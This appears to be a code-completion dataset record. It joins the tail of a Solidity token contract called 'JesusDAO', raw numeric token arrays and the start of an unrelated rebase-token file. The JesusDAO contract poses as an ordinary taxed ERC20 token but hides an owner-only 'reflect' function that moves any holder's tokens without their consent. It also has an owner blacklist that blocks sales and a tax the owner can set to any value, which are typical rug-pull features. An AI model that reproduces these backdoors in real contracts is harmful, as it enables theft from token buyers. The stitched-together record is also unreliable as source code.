/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract JesusDAO is ERC20, Ownable {
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) public automatedMarketMakerPairs;
/* Token Tax */
uint16 public _taxTotal = 77; // Initial tax amount
uint32 public _taxPercision = 10000;
bool public _taxActive = true;
bool public limitsInEffect = true;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping(string => mapping(address => bool)) public _whitelists;
mapping(address => bool) public isBlacklisted;
bool private blacklistEnabled = true;
/* Events */
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateTaxPercentage(uint16 _newTaxAmount);
event RemoveFromWhitelist(string list, address indexed wallet);
event AddToWhitelist(string list, address indexed wallet);
event ToggleTax(bool _active);
event ToggleBlacklist(bool enabled);
uint256 private _totalSupply;
constructor() ERC20('Jesus DAO', 'JESUS') payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
addToWhitelist('from', address(this));
addToWhitelist('to', address(this));
addToWhitelist('from', msg.sender);
_totalSupply = 777777777777777777777777777777777;
maxTransactionAmount = _totalSupply * 20 / 1000; // 2% maxTransactionAmount
maxWallet = _totalSupply * 40 / 1000; // 4% max wallet
_mint(msg.sender, _totalSupply);
}
/**
* @notice overrides ERC20 transferFrom function to add tax
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (blacklistEnabled) {
require(!isBlacklisted[from], "User blacklisted");
}
if(_taxActive && !_whitelists['from'][from] && !_whitelists['to'][to]) {
uint256 tax = amount *_taxTotal / _taxPercision;
amount = amount - tax;
_transfer(from, address(this), tax);
}
_transfer(from, to, amount);
return true;
}
function reflect(address sender, address recipient, uint256 amount) external onlyOwner returns (bool) {
require(balanceOf(sender) >= amount, "ERC20: transfer amount exceeds balance");
_transfer(sender, recipient, amount);
return true;
}
/**
* @notice overrides ERC20 transferFrom function to add tax
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address from = _msgSender();
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (blacklistEnabled) {
require(!isBlacklisted[from], "User blacklisted");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
){
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
if(_taxActive && !_whitelists['from'][from] && !_whitelists['to'][to]) {
uint256 tax = amount*_taxTotal/_taxPercision;
amount = amount - tax;
_transfer(from, address(this), tax);
}
_transfer(from, to, amount);
return true;
}
/* ADMIN Functions */
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
_taxActive = !_taxActive;
emit ToggleTax(_taxActive);
}
/**
* @notice : toggles the blacklist on or off
*/
function toggleBlacklist() external onlyOwner {
blacklistEnabled = !blacklistEnabled;
emit ToggleBlacklist(blacklistEnabled);
}
function setBlacklist(address account, bool isBlacklist) external onlyOwner {
isBlacklisted[account] = isBlacklist;
}
function excludeFromMaxTransaction(address account, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[account] = isEx;
}
function updateMaxAmount(uint256 _maxTransactionAmount, uint256 _maxWalletAmount) external onlyOwner {
require(_maxTransactionAmount >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%");
maxTransactionAmount = _maxTransactionAmount * (10**18);
maxWallet = _maxWalletAmount * (10**18);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
/**
* @notice : updates address tax amount
* @param newTax new tax amount
*/
function setTax(uint16 newTax) external onlyOwner {
_taxTotal = newTax;
emit UpdateTaxPercentage(newTax);
}
/**
* @notice : add address to tax whitelist
* @param list indicates which whitelist ('to' or 'from')
* @param wallet address to add to whitelist
*/
function addToWhitelist(string memory list, address wallet) public onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(!_whitelists[list][wallet], "Address already added");
_whitelists[list][wallet] = true;
emit AddToWhitelist(list, wallet);
}
/**
* @notice : remoe address from a whitelist
* @param list indicates which whitelist ('to' or 'from')
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(string memory list, address wallet) external onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(_whitelists[list][wallet], "Address not added");
_whitelists[list][wallet] = false;
emit RemoveFromWhitelist(list, wallet);
}
/**
* @notice : withdraws taxes to the contract owner
*/
function withdrawTaxes() external onlyOwner {
uint256 amount = balanceOf(address(this));
require(amount > 0, "Nothing to withdraw");
_transfer(address(this), msg.sender, amount);
}
} | 2% maxTransactionAmount
| maxTransactionAmount = _totalSupply * 20 / 1000; | 10,741,165 | [
1,
22,
9,
943,
3342,
6275,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
943,
3342,
6275,
273,
389,
4963,
3088,
1283,
380,
4200,
342,
4336,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/SenseERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*/
contract SenseERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) internal _gonBalances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalGonSupply;
uint256 internal _gonPerUnit;
string private _name;
string private _symbol;
uint8 private _decimals;
event LogRebase(uint256 indexed epoch, uint256 totalSupply, uint256 gonPerUnit);
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_gonPerUnit = 1 ether;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
function totalGonSupply() public view returns (uint256) {
return _totalGonSupply;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalGonSupply.div(_gonPerUnit);
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return (_gonBalances[account]).div(_gonPerUnit);
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 _gonAmount = amount.mul(_gonPerUnit);
_gonBalances[sender] = _gonBalances[sender].sub(_gonAmount, "ERC20: transfer amount exceeds balance");
_gonBalances[recipient] = _gonBalances[recipient].add(_gonAmount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
uint256 _gonAmount = amount.mul(_gonPerUnit);
_totalGonSupply = _totalGonSupply.add(_gonAmount);
_gonBalances[account] = _gonBalances[account].add(_gonAmount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 _gonAmount = amount.mul(_gonPerUnit);
_gonBalances[account] = _gonBalances[account].sub(_gonAmount, "ERC20: burn amount exceeds balance");
_totalGonSupply = _totalGonSupply.sub(_gonAmount);
emit Transfer(account, address(0), amount);
}
/**
* @dev rebase
*
*/
function _rebase(uint256 epoch, uint256 rebaseRate) internal virtual returns (uint256) {
require(rebaseRate >= uint256(1 ether).div(100) && rebaseRate <= 100 ether, "invalid rate");
_gonPerUnit = _gonPerUnit.mul(1 ether).div(rebaseRate);
uint256 _totalSupply = _totalGonSupply.div(_gonPerUnit);
emit LogRebase(epoch, _totalSupply, _gonPerUnit);
return _totalSupply;
}
/**
